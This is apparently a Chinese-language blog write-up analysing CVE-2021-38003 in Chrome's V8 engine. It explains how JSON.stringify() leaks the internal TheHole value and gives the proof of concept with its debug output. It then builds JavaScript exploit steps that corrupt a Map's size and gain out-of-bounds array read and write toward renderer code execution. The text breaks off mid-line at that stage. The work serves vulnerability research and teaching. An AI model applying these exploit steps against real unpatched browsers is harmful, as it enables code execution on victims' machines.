TheHole新世界 - 小泄漏如何击沉大浏览器 (CVE-2021-38003)
引言
CVE-2021-38003是一个存在于V8 JavaScript引擎中的漏洞。该漏洞影响Chrome浏览器95.0.4638.69之前的稳定版本,于2021年10月在Google的Chrome发布博客中披露,而错误报告于2022年2月公开。
该漏洞会导致V8中称为TheHole的特殊值泄漏到脚本中。这可能导致基于Chromium的浏览器中的渲染器RCE,并且已在野外被利用。
在本文中,我将讨论漏洞的根本原因,以及我如何利用该漏洞并在易受攻击的Chromium浏览器版本上实现RCE。
深入漏洞分析
该漏洞发生在V8尝试处理JSON.stringify()中的异常时。如错误报告中所述,当内置函数内部引发异常时,会设置相应Isolate的pending_exception成员。之后,调用代码将跳入V8的异常处理机制,从活动isolate中获取pending_exception成员,并使用它调用当前活动的JavaScript异常处理程序。
请注意,当没有挂起的异常时,pending_exception成员设置为特殊值TheHole,这意味着如果尝试从空的pending_exception中获取异常,将导致TheHole值泄漏到脚本中,这正是此漏洞中发生的情况。
在尝试使用JSON.stringify()序列化JSON数组时,V8将具有以下调用路径:
JsonStringifier::Stringify() ->
JsonStringifier::Serialize_() ->
JsonStringifier::SerializeJSArray() ->
JsonStringifier::SerializeArrayLikeSlow() // 漏洞存在处
查看这些函数中的代码,我们会发现大多数异常都与isolate_->Throw(…)之类的代码配对。例如,在JsonStringifier::SerializeArrayLikeSlow()中:
1
2
3
4
5
6
|
// We need to write out at least two characters per array element.
static const int kMaxSerializableArrayLength = String::kMaxLength / 2;
if (length > kMaxSerializableArrayLength) {
isolate_->Throw(*isolate_->factory()->NewInvalidStringLengthError());
return EXCEPTION;
}
|
isolate_->Throw将调用Isolate::ThrowInternal(),最终设置挂起的异常。稍后,当它返回EXCEPTION时,将在异常处理期间从pending_exception中获取异常。由于之前已设置挂起的异常,因此可以毫无问题地获取异常。
但是,有一个实例V8会在未首先设置挂起异常的情况下获取异常。在JsonStringifier::SerializeArrayLikeSlow()中:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
HandleScope handle_scope(isolate_);
for (uint32_t i = start; i < length; i++) {
Separator(i == 0);
Handle<Object> element;
ASSIGN_RETURN_ON_EXCEPTION_VALUE(
isolate_, element, JSReceiver::GetElement(isolate_, object, i),
EXCEPTION);
Result result = SerializeElement(isolate_, element, i); // [1]
if (result == SUCCESS) continue;
if (result == UNCHANGED) {
// Detect overflow sooner for large sparse arrays.
if (builder_.HasOverflowed()) return EXCEPTION; // [2]
builder_.AppendCStringLiteral("null");
} else {
return result;
}
}
|
在序列化期间([1]),代码将检查序列化过程中是否有任何错误。其中一个错误是在将序列化字符串附加到结果时出现溢出错误([2])。如果发生错误,它将引发异常。在SerializeElement调用期间,它最终将调用v8::internal::IncrementalStringBuilder::Accumulate()并尝试检测是否有任何溢出错误。v8::internal::IncrementalStringBuilder::Accumulate()可以通过以下函数之一调用:
- v8::internal::IncrementalStringBuilder::Extend
- v8::internal::IncrementalStringBuilder::Finish
如果Accumulate()由Finish()函数内部的Finish()调用,它将尝试检查Accumulate()是否检测到溢出错误。如果是,它将抛出错误,挂起异常:
1
2
3
4
5
6
7
8
9
|
MaybeHandle<String> IncrementalStringBuilder::Finish() {
ShrinkCurrentPart();
Accumulate(current_part());
// Here it will throw the error if it's overflowed
if (overflowed_) {
THROW_NEW_ERROR(isolate_, NewInvalidStringLengthError(), String);
}
return accumulator();
}
|
但是,如果Accumulate()由Extend()调用,则情况并非如此。在Extend()中,它不会进行任何溢出检查,因此即使Accumulate()检测到溢出错误,它也不会挂起任何异常。由于SerializeElement中Accumulate()由Extend()调用,这意味着即使发生溢出错误,挂起的异常仍然不会设置,加上在返回EXCEPTION之前没有isolate_->Throw,使得挂起的异常完全为空。稍后当它尝试从pending_exception中获取异常时,它将获取TheHole值并将其传递给脚本,从而导致漏洞。
概念验证分析
以下是错误报告中的PoC:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
function trigger() {
let a = [], b = [];
let s = '"'.repeat(0x800000);
a[20000] = s;
for (let i = 0; i < 10; i++) a[i] = s;
for (let i = 0; i < 10; i++) b[i] = a;
try {
JSON.stringify(b);
} catch (hole) {
return hole;
}
throw new Error('could not trigger');
}
let hole = trigger();
console.log(hole);
%DebugPrint(hole);
|
在trigger()函数中,它尝试创建一个包含长字符串的数组。因此,稍后当它执行JSON.stringify(b);时,它将触发溢出错误,使其能够从pending_exception中获取TheHole值并将其返回给脚本。通过try-catch语句,我们可以捕获异常(TheHole)并将其用于进一步利用。我们可以通过检查执行结果来验证TheHole值:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
> ./d8 ./poc.js --allow-natives-syntax
hole
DebugPrint: 0x19be0804242d: [Oddball] in ReadOnlySpace: #hole
0x19be08042405: [Map] in ReadOnlySpace
- type: ODDBALL_TYPE
- instance size: 28
- elements kind: HOLEY_ELEMENTS
- unused property fields: 0
- enum length: invalid
- stable_map
- non-extensible
- back pointer: 0x19be080423b5 <undefined>
- prototype_validity cell: 0
- instance descriptors (own) #0: 0x19be080421c1 <Other heap object (STRONG_DESCRIPTOR_ARRAY_TYPE)>
- prototype: 0x19be08042235 <null>
- constructor: 0x19be08042235 <null>
- dependent code: 0x19be080421b9 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
- construction counter: 0
|
注意%DebugPrint打印出#hole对象。这个V8内部对象永远不应该返回给我们的脚本以供进一步使用,但我们仍然能够通过漏洞获取该对象。
利用过程
破坏map大小
那么我们如何利用单个hole对象来利用漏洞呢?这里我们以错误报告中的PoC作为参考:
1
2
3
4
5
6
7
8
9
|
let hole = trigger(); // 获取hole值
var map = new Map();
map.set(1, 1);
map.set(hole, 1);
map.delete(hole);
map.delete(hole);
map.delete(1);
// 现在map.size = -1
|
上面的代码片段将使map的大小变为-1。这是由于JSMap中TheHole值的特殊处理而发生的。当V8尝试删除map中的键值时,它将运行以下代码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
|
TF_BUILTIN(MapPrototypeDelete, CollectionsBuiltinsAssembler) {
const auto receiver = Parameter<Object>(Descriptor::kReceiver);
const auto key = Parameter<Object>(Descriptor::kKey);
const auto context = Parameter<Context>(Descriptor::kContext);
ThrowIfNotInstanceType(context, receiver, JS_MAP_TYPE,
"Map.prototype.delete");
const TNode<OrderedHashMap> table =
LoadObjectField<OrderedHashMap>(CAST(receiver), JSMap::kTableOffset);
TVARIABLE(IntPtrT, entry_start_position_or_hash, IntPtrConstant(0));
Label entry_found(this), not_found(this);
TryLookupOrderedHashTableIndex<OrderedHashMap>(
table, key, &entry_start_position_or_hash, &entry_found, ¬_found);
BIND(¬_found);
Return(FalseConstant());
BIND(&entry_found);
// [1]
// 如果找到条目,将条目标记为已删除。
StoreFixedArrayElement(table, entry_start_position_or_hash.value(),
TheHoleConstant(), UPDATE_WRITE_BARRIER,
kTaggedSize * OrderedHashMap::HashTableStartIndex());
StoreFixedArrayElement(table, entry_start_position_or_hash.value(),
TheHoleConstant(), UPDATE_WRITE_BARRIER,
kTaggedSize * (OrderedHashMap::HashTableStartIndex() +
OrderedHashMap::kValueOffset));
// 减少元素数量,并增加已删除元素的数量。
const TNode<Smi> number_of_elements = SmiSub(
CAST(LoadObjectField(table, OrderedHashMap::NumberOfElementsOffset())),
SmiConstant(1));
StoreObjectFieldNoWriteBarrier(
table, OrderedHashMap::NumberOfElementsOffset(), number_of_elements);
const TNode<Smi> number_of_deleted =
SmiAdd(CAST(LoadObjectField(
table, OrderedHashMap::NumberOfDeletedElementsOffset())),
SmiConstant(1));
StoreObjectFieldNoWriteBarrier(
table, OrderedHashMap::NumberOfDeletedElementsOffset(),
number_of_deleted);
const TNode<Smi> number_of_buckets = CAST(
LoadFixedArrayElement(table, OrderedHashMap::NumberOfBucketsIndex()));
// [2]
// 如果元素数量少于#buckets / 2,缩小表。
Label shrink(this);
GotoIf(SmiLessThan(SmiAdd(number_of_elements, number_of_elements),
number_of_buckets),
&shrink);
Return(TrueConstant());
BIND(&shrink);
CallRuntime(Runtime::kMapShrink, context, receiver);
Return(TrueConstant());
}
|
在[1]处,当它尝试删除相应的条目时,它将键和值覆盖为TheHole。由于我们有一个条目(hole, 1),将键覆盖为TheHole不会删除该条目,因为键已经是TheHole。这将使我们能够多次删除(hole, 1)条目,从而破坏map的大小。
但是,我们注意到在PoC中,它只删除(hole, 1)两次,然后删除(1, 1)而不是(hole, 1)。这是因为在[2]处,它将尝试检测元素数量是否少于桶数/2,如果是,它将尝试缩小map并删除hole值,使我们无法再次删除(hole, 1)。这就是为什么我们需要(1, 1)条目,这样我们可以删除它以使map.size等于-1。
因此,这是PoC中实际发生的情况:
- 在map中设置(1, 1)和(hole, 1)。现在元素计数=2,桶计数=2。
- 删除(hole, 1)。现在元素计数=1,桶计数=2。
- 再次删除(hole, 1)。现在元素计数=0,桶计数=2。由于元素计数<桶计数/2,它将缩小map并删除hole值。
- 现在map中没有hole值,因此我们无法再删除(hole, 1)。但是,map中仍有(1, 1),因此我们删除该条目。这将使元素计数减少1,使元素计数(= map.size)等于-1。
修改map结构
在继续利用之前,我们必须了解map在内存中的样子。整个map结构可以图示如下(取自Andrey Pechkurov的精彩博客文章):
我们可以看到它是一个由三部分组成的数组:
- 头部:包括条目计数(元素计数)、已删除计数和桶计数。
- hashTable:存储桶的索引。注意此表的大小取决于header[2],即桶计数。
- dataTable:存储键、值和链中下一个条目的索引。注意此表的大小也取决于header[2](桶计数)
通过一些调试,我们会知道在map.size变为-1后,下一个map.set()将让我们控制header[2](桶计数)和hashTable[0]的值。如果我们可以覆盖桶计数,意味着我们将能够控制hashTable和dataTable的大小。通过将桶计数设置为较大的数字,我们将使dataTable超出其边界。因此,我们可以通过执行map.set()(这将更新dataTable)来实现OOB写入。这很重要,因为当我们使用var map = new Map();创建map时,map实际上是一个固定大小的数组(默认为0x11)。
因此,这是我们的计划:
- 使map的大小变为-1后,我们将一个浮点数数组(我们称之为oob_arr)放置在map后面。
- 接下来,我们使用map.set()控制桶计数和hashTable[0]的值。这将使我们能够控制hashTable和dataTable的大小。我们只需要将桶计数设置得足够大,以便dataTable可以与oob_arr重叠。
- 我们再次使用map.set()更新dataTable,覆盖oob_arr的结构。这里我们覆盖其长度,以便稍后我们可以使用此数组实现OOB读/写。
使用oob_arr实现OOB读/写
为了覆盖oob_arr的长度,我们需要处理一些细节。首先,我们需要了解map.set()的工作原理。以下是map更新方式的简化伪代码:
1
2
3
4
5
6
7
8
9
10
11
12
|
hash_table_index = hashcode(key) & (bucket_count-1)
current_index = current_element_count
if hashTable[hash_table_index] == -1:
// 添加新的键值
// 无边界检查
dataTable[current_index].key = key
dataTable[current_index].value = value
..........
else:
// 更新map中现有的键值
// 有边界检查
|
在更新map期间,它将检查键是否已存在于当前map中。如果存在,它将更新当前map中的现有键值,同时执行边界检查。
由于这将使我们的利用失败,我们必须避免此代码路径,这意味着我们必须确保hashTable[hash_table_index]等于-1。我们可以控制的唯一hashTable条目是hashTable[0],这意味着我们必须确保hashcode(key) & (bucket_count-1)等于0。对于hashcode函数,V8使用一个众所周知的哈希函数,我们可以在线找到代码。使用此代码,我们将能够控制hashcode(key)的值。另一件要注意的事情是,在我们设置桶计数和hashTable[0]之后,current_index将变为0,因此我们还必须确保桶计数足够大,以便稍后当我们更新dataTable[0].key时,我们的键将覆盖oob_arr.length。
总结一下,我们需要仔细设置几个值:
- 桶计数:桶计数应足够大,以便当我们更新dataTable[0].key时,它将覆盖oob_arr.length。
- hashTable[0]:我们必须将hashTable[0]设置为-1,以便稍后当我们执行map.set()时,它将通过hashTable[hash_table_index] == -1语句并更新dataTable[0].key。
- 键:在我们设置桶计数和hashTable[0]之后,下一个map.set()将覆盖oob_arr的长度。我们必须确保键值足够大以实现OOB读/写。此外,我们必须确保hashcode(key) & (bucket_count-1)等于0。
通过使用调试器检查内存布局,我们会知道桶计数应设置为0x1c。然后,我们可以编写一个简单的C++程序来计算键的值:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
|
#include <bits/stdc++.h>
using namespace std;
uint32_t ComputeUnseededHash(uint32_t key) {
uint32_t hash = key;
hash = ~hash + (hash << 15); // hash = (hash << 15) - hash - 1;
hash = hash ^ (hash >> 12);
hash = hash + (hash << 2);
hash = hash ^ (hash >> 4);
hash = hash * 2057; // hash = (hash + (hash << 3)) + (hash << 11);
hash = hash ^ (hash >> 16);
return hash & 0x3fffffff;
}
int main(int argc, char *argv[]) {
uint32_t i = 0;
while(i <= 0xffffffff) {
/* bucket_count is 0x1c
* hashcode(key) & (bucket_count-1) should become 0
* we'll have to find a key that is large enough to achieve OOB read/write, while matching hashcode(key) & 0x1b == 0
*/
uint32_t hash = ComputeUnseededHash(i);
if (((hash&0x1b) == 0) && (i > 0x100)) {
printf("Found: %p\n", i);
break;
}
i = (uint32_t)i+1;
}
return 0;
}
|
这里我们找到一个键值0x111符合我们的需求。在使map.size = -1之后,我们可以使用以下代码片段在浮点数组中实现OOB读/写:
1
2
3
4
5
6
7
8
|
// oob数组。此数组的大小将被map覆盖,因此可以执行OOB读/写
oob_arr = [1.1, 1.1, 1.1, 1.1];
// map中的OOB写入,将oob_arr的大小覆盖为0x111
map.set(0x1c, -1); // bucket_count = 0x1c, hashTable[0] = -1
map.set(0x111, 0); // hashcode(0x111) & (bucket_count-1) == 0, 将oob_arr的长度覆盖为0x111
// 现在oob_arr.length ==
|